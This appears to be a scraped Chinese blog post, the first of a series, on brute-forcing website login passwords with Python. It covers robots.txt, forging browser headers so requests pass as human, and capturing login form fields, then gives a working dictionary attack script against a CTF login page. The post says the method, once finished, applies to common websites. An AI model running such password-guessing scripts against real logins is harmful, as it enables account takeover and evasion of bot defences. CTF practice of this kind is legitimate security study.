网页抓取解密( 这篇x00.txt在写爬虫爬取某个网站之前处理模块)

优采云 发布时间: 2022-01-24 10:01

  网页抓取解密(

这篇x00.txt在写爬虫爬取某个网站之前处理模块)

  python爬虫暴力破解网站登录密码(一)

  本来打算一次写这篇博客,但是写完正文,发现有很多重要的东西没有提到,所以分成了两部分,这一部分是基础操作,下一部分增加了验证码处理和多线程处理模块。.

  0x00 机器人.txt

  在编写爬虫爬取某个网站之前,我们应该了解这个网站的robot.txt。那么什么是robot.txt?简单来说就是网站的拥有者,为了让爬虫知道在爬取网站的时候有什么限制。虽然这些限制只是建议,但如果你的爬虫不遵守这些限制,它很容易被 网站 禁止。

  下图是IBM官方网站的robot.txt。我们在编写爬虫时,应该尽量遵守规定。

  

  以下是一些写作示例:

  允许所有机器人访问

  1

2

3

4

5

  User-agent: *

Allow: /

或者

User-agent: *

Disallow:

  禁止所有搜索引擎访问 网站 的任何部分

  1

2

  User-agent: *

Disallow: /

  只禁止百度蜘蛛访问你的 网站

  1

2

  User-agent: Baiduspider

Disallow: /

  只允许百度蜘蛛访问你的网站

  1

2

  User-agent: Baiduspider

Disallow:

  禁止蜘蛛访问特定目录

  1

2

  User-agent: *

Disallow: /tmp/

  0x01 假标题

  网站防止采集的前提是正确区分人类访问用户和网络机器人。其中一种方法是检查您的 http 请求标头。为了使我们的爬虫看起来更像人类用户,您需要伪造标题。

  伪造标题的最佳方法是什么?当然,当它被伪造并手动访问时,它看起来最好。这里我们可以使用Firefox中的一个扩展工具——HttpFox(也可以直接在Chrome开发者模式下查看),使用这个工具,我们可以抓取我们使用Firefox访问网站进程的数据包,然后查看在这个包中,我们手动访问的时候可以看到header,然后使用python的requests库来伪造它。

  

  代码的hea部分按照上图可以写成这种格式:

  1

2

3

4

5

6

7

  hea = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',

'Accept-Encoding':'gzip, deflate',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language' : 'zh-hk,zh;q=0.8,en-US;q=0.5,en;q=0.3',

'Referer': 'www.baidu.com',

'Content-Type':'application/x-www-form-urlencoded'

}

  0x02 填写数据并登录

  既然我们要破解登录密码,前提是必须要登录。当我们手动登录的时候,当然是输入账号,输入密码,然后点击提交。但是,当爬虫工作时,它看到的和我们看到的不一样。这个时候账号密码应该如何传入,登录操作应该如何进行呢?这时候又使用了Httpfox(也可以直接在Chrome开发者模式下查看)。上次我们手动输入的时候,传入的数据也是在Httpfox中捕获的。像他一样填写数据,然后我们在requests中使用post命令传入数据获取cookie,然后通过cookie访问下一个网站,实现爬虫的登录。

  

  

  

  比如这个网站,两个方法都可以看到要传递的数据,所以填写的时候,应该这样写:

  1

2

3

4

5

  data = {

'j_username': 'xxxxxx',

'j_password': 'xxxxxx',

'checkCode': 'xxx'

}

  0x03 测试

  这里我们使用一个ctf环境做一个小脚本进行测试。本题密码为五位纯数字。生成字典的方法之前我们破解压缩包的时候已经讨论过,代码如下。

  1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

  #coding:utf-8

import requests

from threading import Thread

hea = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',

'Accept-Encoding':'gzip, deflate',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language' : 'zh-hk,zh;q=0.8,en-US;q=0.5,en;q=0.3',

'Referer': 'www.baidu.com',

'Content-Type':'application/x-www-form-urlencoded'

}

url='http://120.24.86.145:8002/baopo/?yes'

data = {'pwd':123}

content = requests.post(url,data=data,headers=hea)

content.encoding='utf-8'

recv=content.text

passFile = open(r'C:\Users\Leticia\Desktop\mutou.txt')

for line in passFile.readlines():

password = line.strip('\n')

data = {'pwd':password}

print 'trying',password

content = requests.post(url,data=data)

content.encoding='utf-8'

html=content.text

if html != recv:

print html

  结果如下:

  

  

  这个脚本的原型是有的,结果可以爆出来,但是还是存在速度很慢,无法执行验证码等问题。下一节将添加验证码处理和多线程处理的模块来解决这些问题。问题,可以用来处理常见的网站。

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线